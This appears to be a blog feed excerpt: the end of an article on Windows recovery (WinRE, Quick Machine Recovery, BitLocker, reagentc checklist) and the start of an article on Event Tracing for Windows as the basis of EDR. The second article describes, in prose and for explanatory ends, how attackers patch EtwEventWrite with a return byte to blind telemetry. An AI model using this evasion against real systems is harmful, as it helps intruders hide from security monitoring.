&lt;h3&gt;The encrypted-volume impossibility&lt;/h3&gt;
&lt;p&gt;Unattended recovery of an encrypted volume &lt;em&gt;without the key&lt;/em&gt; is impossible. It is a security correctness requirement, not a limitation that engineering can fix. QMR explicitly does not bypass BitLocker [@ms-qmr]. Apple&apos;s FileVault, ChromeOS&apos;s TPM-bound user partition, and Linux LUKS all share this property; none of them gets to be exempt from the requirement that the key be present somewhere before the encrypted volume can be modified offline.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Every additional capability added to the recovery path is an additional attack vector against the encrypted user state that the recovery path is privileged to access. QMR&apos;s network reachability is a feature for the operator and a feature for the attacker. The article&apos;s thesis is not &lt;em&gt;WRI makes Windows safer in absolute terms&lt;/em&gt;; it is &lt;em&gt;WRI moves the trade-off to a different curve&lt;/em&gt;. The same vendor making the recovery surface reachable from Windows Update is the vendor that has to harden it against itself.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;The upper bound&lt;/h3&gt;
&lt;p&gt;ChromeOS A/B auto-rollback recovers a single device in one reboot cycle without operator action [@chromium-autoupdate]. This is the empirical upper bound on automation. No fielded platform recovers a signed-but-faulty boot path faster than one reboot per device. QMR matches the ChromeOS upper bound in the steady state once a remediation is published; the only thing QMR cannot do that ChromeOS does is recover from the &lt;em&gt;first&lt;/em&gt; signed-but-faulty update before Microsoft has authored the remediation. The lower bound on time-to-fleet-recovery is set by the production lead time of Microsoft&apos;s own QA pipeline plus the time to author and publish the targeted patch.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s own offensive-research team published the BitUnlocker chain one Patch Tuesday before QMR went generally available. That is not a coincidence; it is the price of moving WinRE up the trust ladder. The next question -- what has not been priced yet? -- belongs in the open-problems list.&lt;/p&gt;
&lt;h2&gt;10. Open Problems: Where Microsoft Has Not Committed&lt;/h2&gt;
&lt;p&gt;WRI is a current commitment with a published roadmap. The roadmap has explicit holes. Each of the six below is documented from a primary Microsoft source -- either by what the source &lt;em&gt;says&lt;/em&gt; or, in the most honest cases, by what it &lt;em&gt;does not say&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Network protocol surface in WinRE.&lt;/strong&gt; The Microsoft Learn QMR page is explicit: only wired Ethernet and WPA/WPA2 password-based Wi-Fi are supported as of November 2025 [@ms-qmr]. Enterprise 802.1X and WPA3-Enterprise with device certificates are committed in the November 18, 2025 update as &lt;em&gt;coming soon&lt;/em&gt; under the &lt;em&gt;Wi-Fi 7 for Enterprise&lt;/em&gt; and WinRE-reads-from-Windows lines, but no shipping date is published [@ms-wri-ignite-2025]. For an enterprise on 802.1X, this is the most visible gap: a managed-fleet device on a corporate SSID cannot reach Windows Update from inside WinRE today.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Safe-mode hardening as a discrete deliverable.&lt;/strong&gt; The phrase &quot;safe mode hardening&quot; has no first-party Microsoft anchor as a discrete WRI deliverable. The closest documented item is &lt;a href=&quot;https://paragmali.com/blog/adminless-how-windows-finally-made-elevation-a-security-boun/&quot; rel=&quot;noopener&quot;&gt;&lt;em&gt;Administrator Protection&lt;/em&gt;&lt;/a&gt;, announced in the November 19, 2024 Ignite blog as a constraint on elevated-context behaviour [@ms-wri-ignite-2024]. That is not the same thing. The Safe Mode boot path that the CrowdStrike incident used to delete &lt;code&gt;C-00000291*.sys&lt;/code&gt; was the &lt;em&gt;same&lt;/em&gt; Safe Mode boot path that has existed since Windows NT; nothing in the WRI primary sources commits to changing what Safe Mode does or does not load. Honest reading: WRI re-prices the recovery surface around Safe Mode; it does not (yet) change Safe Mode itself.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cross-vendor partition layout.&lt;/strong&gt; The Microsoft Learn WinRE Technical Reference [@ms-winre-tech-ref] documents the recommended ICD-media layout but does not enforce it. Clean Windows Setup, OEM-installed Windows, and ICD-media-installed Windows produce different recovery-partition layouts, and the existence of KB5028997 (the well-known workaround for &quot;recovery partition too small for the new &lt;code&gt;winre.wim&lt;/code&gt;&quot;) is a direct consequence. ChromeOS and macOS do not have this problem because Google and Apple control the layout end to end. Microsoft chose, decades ago, not to.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Third-party MDM support for the WinRE plug-in model.&lt;/strong&gt; The November 18, 2025 update describes the WinRE plug-in model as third-party-MDM-adoptable, but no third-party MDM vendor had shipped a plug-in or a QMR management surface as of that announcement [@ms-wri-ignite-2025]. Customers on JAMF, Workspace ONE, Tanium, or similar do not yet have a documented integration path. If the future of recovery is Intune-coupled, WRI&apos;s reach is bounded by Intune adoption.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BitLocker key escrow as a WRI deliverable.&lt;/strong&gt; No WRI primary source ([@ms-wri-ignite-2024, @ms-wri-jun-2025, @ms-wri-ignite-2025]) names &quot;BitLocker recovery key flows&quot; as a discrete WRI deliverable. The adjacent items are: &lt;em&gt;hardware-accelerated BitLocker&lt;/em&gt; on new devices starting spring 2026 [@ms-wri-ignite-2025]; the BitUnlocker CVE patches in July 2025 [@ms-bitunlocker-blog]; and the Entra ID self-service BitLocker recovery flow at &lt;code&gt;aka.ms/aadrecoverykey&lt;/code&gt; [@ms-kb5042421]. The current state is that BitLocker key escrow is an Entra ID and Intune feature, not a WRI feature. QMR&apos;s value is bounded by BitLocker key availability for the encrypted-volume fraction of any fleet; a WRI deliverable that improved key escrow would compound QMR&apos;s benefit. None has been announced.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Recovery in air-gapped and sovereign environments.&lt;/strong&gt; QMR routes through Windows Update. Air-gapped fleets, sovereign-cloud customers, and offline manufacturing networks cannot reach Windows Update from WinRE. The November 18, 2025 update mentions Connected Cache, but no QMR-Connected-Cache integration is committed [@ms-wri-ignite-2025]. For the high-assurance customer who today does not let manufacturing endpoints talk to the public Internet at all, QMR is a feature for someone else.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The six items above are gaps in the &lt;em&gt;roadmap&lt;/em&gt;, anchored either by what Microsoft has explicitly named as coming-soon or by the absence of a primary source. They are not features. The article distinguishes Microsoft-committed deliverables (cited to a primary source) from adjacent inferences. Readers reviewing WRI for their own fleets should do the same.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;These six gaps are where the next year of WRI roadmap will be argued. None of them is closed; some are closed-soon. For the practitioner, the immediate question is what to do, today, with what is shipping right now.&lt;/p&gt;
&lt;h2&gt;11. Practitioner&apos;s Guide&lt;/h2&gt;
&lt;p&gt;Everything above is architecture. This section is the checklist.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Verify WinRE is provisioned.&lt;/strong&gt; Run &lt;code&gt;reagentc /info&lt;/code&gt; from an elevated prompt. The output should say &lt;code&gt;Windows RE status: Enabled&lt;/code&gt; and point at a sensible WinRE location -- typically &lt;code&gt;\?\GLOBALROOT\device\harddisk0\partitionN\Recovery\WindowsRE&lt;/code&gt; or &lt;code&gt;C:\Windows\System32\Recovery\WindowsRE&lt;/code&gt;. If the status is &lt;code&gt;Disabled&lt;/code&gt;, run &lt;code&gt;reagentc /enable&lt;/code&gt;. If the recovery partition is too small for a new &lt;code&gt;winre.wim&lt;/code&gt; (a known issue surfacing with cumulative updates that grow the image, surfaced as a System event ID 4502 with &lt;code&gt;ErrorPhase 2&lt;/code&gt;), follow KB5028997 [@ms-kb5028997, @ms-winre-tech-ref].&lt;/p&gt;

The mitigation, in outline: disable WinRE temporarily (`reagentc /disable`); shrink the OS partition via `diskpart` by enough megabytes (250 MB minimum per Microsoft&apos;s published procedure) to host a larger recovery partition; recreate the recovery partition with the GPT Type ID `DE94BBA4-06D1-4D40-A16A-BFD50179D6AC` and the GPT attributes value `0x8000000000000001` that hides it from automounting; re-enable WinRE (`reagentc /enable`) so the new `winre.wim` is copied into the resized partition. The Microsoft Support KB article carries the exact `diskpart` commands [@ms-kb5028997], with the Windows RE Technical Reference as the architectural anchor [@ms-winre-tech-ref]. Test on a representative device first; the resize is not reversible without re-imaging.
&lt;p&gt;&lt;strong&gt;2. Audit your QMR posture before turning it on.&lt;/strong&gt; On Enterprise, Education, and managed Pro, cloud remediation is &lt;em&gt;off&lt;/em&gt; by default [@ms-qmr]. Decide first; ring second; roll out third. The Intune Settings Catalog path is &lt;em&gt;Remote Remediation &amp;gt; Enable Cloud Remediation&lt;/em&gt;. Pre-stage a WPA/WPA2 Wi-Fi credential via &lt;code&gt;reagentc.exe /SetRecoverySettings&lt;/code&gt; if your recovery network is wireless.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Use the test-mode dry run.&lt;/strong&gt; &lt;code&gt;reagentc.exe /SetRecoveryTestmode&lt;/code&gt; followed by &lt;code&gt;reagentc.exe /BootToRe&lt;/code&gt; triggers a &lt;em&gt;simulated&lt;/em&gt; QMR cycle. The simulated remediation appears in Settings &amp;gt; Windows Update &amp;gt; Update history rather than mutating the production OS. Run it on a pilot ring before depending on QMR in a real incident [@ms-qmr].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Plan for BitLocker key availability.&lt;/strong&gt; Ensure recovery keys are escrowed to Entra ID, not just printed on a card in a drawer. Enable the Entra ID self-service flow at &lt;code&gt;aka.ms/aadrecoverykey&lt;/code&gt; so an unattended user can retrieve their own key during an incident [@ms-kb5042421].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Know the difference between Cloud Reset, QMR, and Autopilot Reset.&lt;/strong&gt; Cloud Reset (in-Windows &lt;em&gt;Reset this PC &amp;gt; Cloud download&lt;/em&gt;) reinstalls a running OS [@ms-pbr-overview]. QMR runs in WinRE &lt;em&gt;before&lt;/em&gt; the OS boots, applying targeted patches from Windows Update [@ms-qmr]. Autopilot Reset re-provisions a &lt;em&gt;bootable&lt;/em&gt; device via Intune. Three different tools, three different scenarios; do not confuse them in your runbook.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. Watch for the November 2025 Intune signals.&lt;/strong&gt; Once Intune surfaces WinRE state in the admin centre, build the muscle of looking for it. The roll-up that tells you &quot;12 devices are in WinRE right now&quot; is the operational primitive Microsoft did not have through July 2024 [@ms-wri-ignite-2025].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Promote step 3 (the test-mode dry run) into your incident-response runbook now [@ms-qmr]. The time to discover that the recovery Wi-Fi SSID changed last quarter is not in the middle of a fleet-down event.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; QMR cannot decrypt the OS volume. It applies Windows Update patches that take effect on the next boot, but it cannot run against an encrypted volume&apos;s contents without the BitLocker recovery key being available [@ms-qmr]. If a device&apos;s BitLocker key is not escrowed to Entra ID and the user is not available to read it from a printout, QMR cannot help. Key escrow is upstream of recovery; treat it that way.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &lt;code&gt;reagentc /info&lt;/code&gt; output is short and uniform enough that a small script can classify the device&apos;s WinRE health. The block below sketches one in JavaScript pseudocode.&lt;/p&gt;
&lt;p&gt;{`
// reagentc /info is a small, deterministic text block. Parse it.&lt;/p&gt;
&lt;p&gt;const sampleOutput = `
Windows Recovery Environment (Windows RE) and system reset configuration
Information:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Windows RE status:         Enabled
Windows RE location:       \\\\?\\\\GLOBALROOT\\\\device\\\\harddisk0\\\\partition4\\\\Recovery\\\\WindowsRE
Boot Configuration Data (BCD) identifier: a1b2c3d4-...-winre-guid
Recovery image location:
Recovery image index:      0
Custom image location:
Custom image index:        0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;REAGENTC.EXE: Operation Successful.
`;&lt;/p&gt;
&lt;p&gt;function classify(output) {
  const status = /Windows RE status:\s+(\w+)/.exec(output)?.[1];
  const location = /Windows RE location:\s+(\S+)/.exec(output)?.[1] || &apos;&apos;;
  const partitionMatch = /partition(\d+)\\Recovery\\WindowsRE/.exec(location);
  const onPartition = !!partitionMatch;
  const onOsVolume = /^[A-Z]:\\Recovery\\WindowsRE/.test(location);&lt;/p&gt;
&lt;p&gt;  if (status !== &apos;Enabled&apos;) {
    return { status, action: &apos;reagentc /enable -- WinRE is not active&apos; };
  }
  if (!onPartition &amp;amp;&amp;amp; !onOsVolume) {
    return { status, action: &apos;Unknown layout; verify with diskpart and reagentc&apos; };
  }
  if (onPartition) {
    return {
      status,
      layout: &apos;recovery-partition&apos;,
      partition: partitionMatch[1],
      note: &apos;If cumulative updates fail with insufficient-space errors, see KB5028997&apos;,
    };
  }
  return { status, layout: &apos;os-volume-recovery-folder&apos;, note: &apos;OEM-style layout; some Intune&apos; +
    &apos; policies assume a separate partition. Confirm before relying on remote remediation.&apos; };
}&lt;/p&gt;
&lt;p&gt;console.log(classify(sampleOutput));
`}&lt;/p&gt;
&lt;p&gt;The practical questions answered, the article closes with a set of FAQs that catch the common misconceptions.&lt;/p&gt;
&lt;h2&gt;12. Frequently Asked Questions and Closing Thoughts&lt;/h2&gt;


No. WRI&apos;s *Windows endpoint security platform* gives MVI partners a user-mode runtime so their detection logic does not have to live in a kernel-mode `.sys` file [@ms-wri-jun-2025, @ms-wri-ignite-2025]. Kernel-mode drivers as a class are not retired: the November 18, 2025 update is explicit that &quot;graphics drivers, for example, will continue to run in kernel mode for performance reasons&quot; [@ms-wri-ignite-2025], and the driver-resiliency playbook (compiler safeguards, driver isolation, DMA-remapping, higher signing bar) is precisely for the kernel-mode surface that will remain.


No. The Microsoft Learn QMR page is explicit that the recovery flow does not decrypt the OS volume [@ms-qmr]. If the BitLocker recovery key is unavailable, QMR cannot help. The recommended escrow path is Entra ID, with the user-facing self-service flow at `aka.ms/aadrecoverykey` [@ms-kb5042421].


No. The BCD Boot Options Reference enumerates every legal element on a boot entry, and there is no `/recovery` flag on `winload.efi` or `winload.exe` [@ms-bcd]. WinRE is selected by following the `recoverysequence` element of the OS-loader entry to a separate BCD entry whose `winpe` is `Yes` and whose `osdevice` mounts `winre.wim` from a `boot.sdi`-backed RAM disk. The entire handoff is inside the boot manager, before `winload.efi` runs.


No. The four CVE-2025-48800/-48003/-48804/-48818 advisories were patched in the July 8, 2025 cumulative update before QMR went generally available in August 2025 [@ms-bitunlocker-blog, @ms-wri-ignite-2025]. The patches addressed parser and debugger code paths inside WinRE; they did not remove WinRE&apos;s ability to read the OS volume&apos;s BitLocker recovery material, which is a feature WinRE needs in order to perform any repair on an encrypted volume.


No. The Secure Future Initiative (SFI), announced in November 2023, is Microsoft&apos;s company-wide security program. WRI is the Windows-specific workstream inside SFI that owns Windows availability, kernel resilience, and the recovery surface; the published WRI blogs frame it as the Windows pillar of SFI rather than a stand-alone effort [@ms-wri-ignite-2024, @ms-wri-jun-2025].


QMR will not connect. The Microsoft Learn page is explicit that only wired Ethernet and WPA/WPA2 password-based Wi-Fi are supported [@ms-qmr]. The November 18, 2025 update commits to WPA3-Enterprise with device certificates as part of the WinRE-reads-from-Windows networking work and the *Wi-Fi 7 for Enterprise* line, but it does not give a shipping date [@ms-wri-ignite-2025]. For now, enterprises whose recovery story depends on QMR over Wi-Fi must either stand up a dedicated WPA2-PSK recovery SSID or rely on wired recovery.


The code is mostly the same. What changed is the *policy* that lets WinRE call Windows Update without an operator at the keyboard. WinPE has shipped networking drivers since 2002 [@ms-winpe-intro], and `winre.wim` has been bootable from a recovery partition since 2009. The breakthrough is the commitment that the recovery environment is allowed to phone home -- and the surrounding program (MVI 3.0, the user-mode AV platform, Intune visibility) that makes it usable as a fleet-scale primitive.

&lt;h3&gt;Closing&lt;/h3&gt;
&lt;p&gt;The Windows Recovery Environment that worked perfectly on July 19, 2024 is the same Windows Recovery Environment that became Microsoft&apos;s most important security surface on August 1, 2025. The architecture did not change in the year between. The question we ask of it did.&lt;/p&gt;
&lt;p&gt;The CrowdStrike incident did not invent the case for resilience as a security property. It priced it. Two months after the bug check signature &lt;code&gt;csagent+0xe14ed&lt;/code&gt; made the rounds, Microsoft and the MVI cohort sat down at WESES to argue out what would become MVI 3.0 [@ms-weses]. Three months after that, the Ignite 2024 keynote committed to Quick Machine Recovery and to a user-mode antimalware platform [@ms-wri-ignite-2024]. Five months after &lt;em&gt;that&lt;/em&gt;, the first QMR code shipped on the Beta Channel [@ms-qmr-insider-mar2025]. Twelve months after the incident, MVI 3.0 was binding [@ms-wri-ignite-2025]. Thirteen months after, QMR went generally available -- and BitUnlocker had been patched a month earlier in the July 2025 cumulative update. Sixteen months after, Microsoft published the rebuild-without-shipping-hardware roadmap [@ms-wri-ignite-2025].&lt;/p&gt;
&lt;p&gt;WRI does not eliminate the trade-off between recoverability and attack surface. It moves the trade-off to a curve where the per-device cost of a fleet-down event is not bounded by human attention, and where the recovery code path is hardened by the same vendor&apos;s offensive-research team. Those are different curves than the ones the platform was on in July 2024. They are not the curves a textbook chapter on Windows internals would have predicted in 2014. They are also still the curves of a single vendor&apos;s program, anchored on a small number of blog posts and Microsoft Learn pages, and the work of validating them belongs in every fleet that depends on Windows for availability.&lt;/p&gt;
&lt;p&gt;If WinRE worked perfectly on July 19, 2024 and that was the problem, the test of WRI is whether the next &lt;em&gt;July 19, 2026&lt;/em&gt; never makes the news.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;windows-recovery-environment-and-the-post-crowdstrike-resilience-initiative&quot; keyTerms={[
  { term: &quot;WinRE&quot;, definition: &quot;Windows Recovery Environment. A Windows Preinstallation Environment image (winre.wim) that the Windows Boot Manager loads on recovery triggers.&quot; },
  { term: &quot;winre.wim&quot;, definition: &quot;The customised WinPE image that contains the recovery shell, Startup Repair, System Restore (when enabled), and the curated WinPE Optional Components.&quot; },
  { term: &quot;boot.sdi&quot;, definition: &quot;A System Deployment Image file used by bootmgr as a container for the RAM disk into which winre.wim is mounted at boot.&quot; },
  { term: &quot;ReAgentC&quot;, definition: &quot;The in-box management tool for WinRE: /info, /enable, /disable, /setreimage, /boottore, /setbootshelllink, and the WinRE-test-mode subcommands.&quot; },
  { term: &quot;BCD recoverysequence&quot;, definition: &quot;The BCD element on a Windows Boot Loader entry that points at a separate BCD entry containing the WinRE configuration; the mechanism by which the boot manager routes a recovery trigger into WinRE.&quot; },
  { term: &quot;Quick Machine Recovery (QMR)&quot;, definition: &quot;The Windows 11 24H2 feature that lets WinRE acquire network connectivity, query Windows Update for a targeted remediation, apply it, and reboot.&quot; },
  { term: &quot;Windows Resiliency Initiative (WRI)&quot;, definition: &quot;Microsoft&apos;s post-CrowdStrike program for treating recovery as part of the security architecture; comprises QMR, MVI 3.0, the user-mode AV platform, Intune WinRE-state surfacing, Point-in-Time Restore, and Cloud Rebuild.&quot; },
  { term: &quot;MVI 3.0&quot;, definition: &quot;Version 3.0 of the Microsoft Virus Initiative, effective April 1, 2025; requires Trusted Signing, Safe Deployment Practices, NDA, and 12-month independent test-lab certification as preconditions for Windows AV driver signing rights.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows</category><category>security</category><category>recovery</category><category>winre</category><category>resilience</category><category>crowdstrike</category><category>bitlocker</category><category>system-internals</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>ETW: How Windows 2000&apos;s Performance Hack Became the EDR Substrate</title><link>https://paragmali.com/blog/etw-how-windows-2000s-performance-hack-became-the-edr-substr/</link><guid isPermaLink="true">https://paragmali.com/blog/etw-how-windows-2000s-performance-hack-became-the-edr-substr/</guid><description>Event Tracing for Windows is the kernel-buffered observability bus every modern Windows EDR consumes. This is the architecture, the attacks, and the one provider that survives them.</description><pubDate>Mon, 11 May 2026 00:00:00 GMT</pubDate><content:encoded>
Event Tracing for Windows is the high-rate, kernel-buffered observability bus that every modern Windows EDR consumes. A 2007-era architectural decision -- letting eight sessions read the same provider concurrently -- is what makes multi-vendor coexistence possible on a single host. Microsoft&apos;s `Microsoft-Windows-Threat-Intelligence` provider, gated behind Protected Process Light and an ELAM-signed Antimalware certificate since the Windows 10 RS-era, fires from the kernel side of memory-modifying syscalls and survives the user-mode `EtwEventWrite` patch class that defined red-team tradecraft from 2020 to 2022. The remaining attack surface -- BYOVD-driven kernel tampering -- is structurally narrowed by the Vulnerable Driver Blocklist enabled by default since Windows 11 22H2, with the residual sub-microsecond-payload gap remaining as ETW&apos;s irreducible &quot;observation, not enforcement&quot; limit.
&lt;h2&gt;1. Why didn&apos;t the patch silence Defender?&lt;/h2&gt;
&lt;p&gt;A red-team operator drops onto a 2026 Defender [@paragmali-com-war-it]-protected box and runs the move that worked five years ago. They locate &lt;code&gt;ntdll!EtwEventWrite&lt;/code&gt; in the calling process, write the byte &lt;code&gt;0xC3&lt;/code&gt; over the function prologue, and the calling process now silently fails to emit user-mode ETW events. The .NET CLR provider goes dark. &lt;code&gt;Invoke-Mimikatz&lt;/code&gt; loads from &lt;code&gt;execute-assembly&lt;/code&gt; without lighting up &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt;. Defender catches the credential dump [@paragmali-com-and-the] anyway, four seconds later, and the operator is on a SOC analyst&apos;s screen before the shellcode finishes running.&lt;/p&gt;
&lt;p&gt;The patch worked. The .NET tracing provider in that process is mute. Attach a debugger and disassemble the function prologue: the first byte is now &lt;code&gt;0xC3&lt;/code&gt;, the near-return opcode [@felixcloutier-ret] [@felixcloutier-ret], and any caller falls straight back to its return address before producing a single event. The technique is the one Adam Chester documented in March 2020 [@xpn-hiding-dotnet] [@xpn-hiding-dotnet], and to a generation of red teamers it has functioned as a near-universal ETW evasion ever since.&lt;/p&gt;
&lt;p&gt;So why did Defender still fire?&lt;/p&gt;
&lt;p&gt;Because Defender does not consume &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt; to detect a credential dump. It consumes &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; [@fluxsec-eti] [@fluxsec-eti] -- a provider whose GUID is &lt;code&gt;{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}&lt;/code&gt;, whose events fire from inside the kernel side of memory-modifying syscalls, and whose producer the user-mode patcher cannot reach. The patch operated on a &lt;code&gt;ntdll&lt;/code&gt; trampoline. The signal Defender used was emitted from a different layer entirely.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Modern Windows EDR is layered on ETW, and the layers fail under different attacks.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That single asymmetry -- one provider goes dark to a one-byte patch, another fires from a place the patcher cannot touch -- is the spine of this article. Around it sits a 26-year story of one Microsoft team accidentally building the substrate of every modern Windows endpoint security product.&lt;/p&gt;

A high-rate, kernel-buffered tracing facility built into Windows since 2000. Components called *providers* emit events tagged with a GUID; *controllers* configure trace sessions; *consumers* subscribe to live event streams or read recorded `.etl` files. ETW was designed for low-overhead developer diagnostics; it was retrofitted into the security-telemetry substrate that all modern Windows EDR products consume.

A class of endpoint security product that ingests behavioural telemetry (process creation, image load, memory allocation, network connection, registry change), correlates it against detection logic, and produces alerts and response actions. On Windows, the dominant EDRs (Microsoft Defender for Endpoint, CrowdStrike Falcon, SentinelOne, Elastic Defend, Wazuh, Sysmon-plus-SIEM) all build on ETW or on the same kernel callbacks ETW exposes to the user-mode tier.
&lt;p&gt;To understand why a one-byte patch silences one provider but not another, we have to go back to a Windows 2000 design decision about per-CPU ring buffers.&lt;/p&gt;
&lt;h2&gt;2. ETW in Windows 2000: the performance problem that started it all&lt;/h2&gt;
&lt;p&gt;Imagine a 1999 network-driver author. A customer&apos;s NT4 production server is corrupting packets under load and the only available instrumentation is &lt;code&gt;DbgPrint&lt;/code&gt;. Each call serialises through a kernel debug port, costs measurable percentage points of CPU on a busy box, and ships data to whoever happens to have the kernel debugger attached. The customer says no. The bug reproduces only at production traffic levels. You cannot ship enough printf-debugging through a debug port to find it.&lt;/p&gt;
&lt;p&gt;That is the engineering pain Insung Park and Ricky Buch&apos;s team was solving when ETW shipped with Windows 2000. Their design moves -- recorded years later in the definitive April 2007 MSDN Magazine article on the Vista upgrade [@ms-park-buch-2007] [@ms-park-buch-2007] -- still define the architecture two and a half decades later.&lt;/p&gt;
&lt;p&gt;The first move was per-CPU ring buffers. A producer on CPU 7 writes to CPU 7&apos;s buffer with no lock contention against producers on other CPUs. Hot-path tracing on a 64-core machine does not serialise. The kernel allocates at least two buffers per logical processor [@ms-event-trace-props] [@ms-event-trace-props] so a producer can keep writing while a writer thread drains the previous buffer.&lt;/p&gt;
&lt;p&gt;The second move was an asynchronous writer thread. The producer never blocks on disk I/O. It writes to its CPU&apos;s buffer and returns. A separate kernel thread drains buffers to file or hands them to a real-time consumer. ETW pushes the latency tax onto the consumer and the storage path, never onto the producer&apos;s hot loop.&lt;/p&gt;
&lt;p&gt;The third move was dynamic enable and disable. Park and Buch describe the resulting capability in one sentence:&lt;/p&gt;

ETW gives you the ability to enable and disable logging dynamically, making it easy to perform detailed tracing in production environments without requiring reboots or application restarts. -- Park &amp;amp; Buch, *MSDN Magazine*, April 2007 [@ms-park-buch-2007]
&lt;p&gt;That sentence is the entire reason ETW could later become the EDR substrate. A producer compiles its trace points into shipping code at low cost; a controller flips them on at runtime when somebody actually wants the data. Without that property, you cannot build a security product that ships universal kernel tracing on a billion endpoints.&lt;/p&gt;
&lt;p&gt;The fourth move was the trichotomy of providers, controllers, and consumers [@ms-etw-wdk] [@ms-etw-wdk]. Microsoft did not write ETW as an internal-only facility. From the start, third parties could write providers (driver authors instrumenting their own code), controllers (performance tools starting and stopping sessions), and consumers (analyzers reading event streams). The architecture is open by design.&lt;/p&gt;

A component that emits ETW events, identified by a GUID. A provider is registered with the system at runtime via the `EventRegister` API (or its predecessor `RegisterTraceGuids` for classic providers) and emits events via `EventWrite` (or `TraceEvent`). Providers ship inside Windows itself, inside Microsoft applications, and inside any third-party binary that wants to expose tracing.

A component that creates, configures, enables, and stops trace sessions. Controllers select which providers a session subscribes to and at which level and keyword bitmask. The Windows Performance Recorder, `logman`, `xperf`, and every EDR&apos;s session-management code are controllers.

A component that reads events from a session in real time or from an `.etl` file on disk. Consumers register a callback that the system invokes once per delivered event. The Windows Performance Analyzer, the krabsetw library, SilkETW, and every EDR&apos;s sensor process are consumers.

flowchart LR
    Ctl[Controller&lt;br /&gt;StartTrace + EnableTrace] --&amp;gt; Sess[Trace Session&lt;br /&gt;per-session buffer pool]
    P1[Provider on CPU 0] --&amp;gt; CPU0[CPU 0 buffer]
    P2[Provider on CPU 1] --&amp;gt; CPU1[CPU 1 buffer]
    P3[Provider on CPU N] --&amp;gt; CPUN[CPU N buffer]
    CPU0 --&amp;gt; WT[Writer thread&lt;br /&gt;asynchronous drain]
    CPU1 --&amp;gt; WT
    CPUN --&amp;gt; WT
    Sess -.governs.-&amp;gt; CPU0
    Sess -.governs.-&amp;gt; CPU1
    Sess -.governs.-&amp;gt; CPUN
    WT --&amp;gt; File[(.etl file)]
    WT --&amp;gt; RT[Real-time consumer&lt;br /&gt;OpenTrace + ProcessTrace]
&lt;p&gt;The original Windows 2000 implementation supported 32 trace sessions running simultaneously [@ms-etw-sessions] [@ms-etw-sessions], a number Microsoft later raised to 64 globally. ETW was framed as a developer-diagnostics facility -- the Windows Driver Kit primary still describes it that way [@ms-etw-wdk] [@ms-etw-wdk] -- and the security-telemetry use case did not exist for almost a decade.&lt;/p&gt;
&lt;p&gt;But the design choices that made ETW good for low-overhead production diagnostics turn out to be exactly the design choices a security telemetry bus needs. Per-CPU buffers solve the multi-core throughput problem. Asynchronous writes solve the producer-latency problem. Dynamic enable solves the always-shipping-but-mostly-off problem. The trichotomy solves the third-party-extensibility problem. Twenty-five years later, every modern Windows EDR consumes telemetry through the same four primitives.Windows 2000&apos;s 32-session global cap [@ms-etw-sessions] is preserved verbatim on the modern Microsoft Learn page: &quot;Windows 2000: Supports only 32 event tracing sessions.&quot; The cap doubled to 64 in later releases and has stayed there ever since.&lt;/p&gt;
&lt;p&gt;The 2000-era design carried one limit, however, that turned out to matter for security: only one trace session could enable a classic provider at a time. The next ten years would be defined by the consequences.&lt;/p&gt;
&lt;h2&gt;3. The MOF era: one session, one steal, one decade of coexistence pain&lt;/h2&gt;
&lt;p&gt;In 2005, a third-party performance monitor that registered a classic provider could find itself silently disabled the moment Microsoft&apos;s &lt;code&gt;wprui.exe&lt;/code&gt; started its own session against the same provider GUID. The first session got no error. It just stopped receiving events. That second-consumer-steals-first behavior is the architectural fact of the entire 2000-2007 era.&lt;/p&gt;
&lt;p&gt;Microsoft Learn still documents the rule in one sentence:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &quot;Up to eight trace sessions can enable and receive events from the same manifest-based provider. However, only one trace session can enable a classic provider. If more than one trace session tries to enable a classic provider, the first session would stop receiving events when the second session enables the provider.&quot; -- Microsoft Learn, Configuring and Starting an Event Tracing Session [@ms-etw-config] [@ms-etw-config]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That single rule made multi-EDR coexistence on classic providers structurally impossible. If Defender&apos;s predecessor and a third-party HIPS both wanted real-time process events from the same classic provider, they had to fight for it. The loser got silence with no notification.&lt;/p&gt;
&lt;p&gt;The provider class involved was &lt;em&gt;MOF-based&lt;/em&gt;, named after the schema language that described its events.&lt;/p&gt;

The schema description language inherited from WBEM (Web-Based Enterprise Management). For ETW, MOF files describe each event a classic provider can emit -- field names, types, tasks, opcodes -- and are compiled into the WMI repository at install time using `mofcomp`. Consumers decode events by querying the WMI repository for the matching MOF schema.

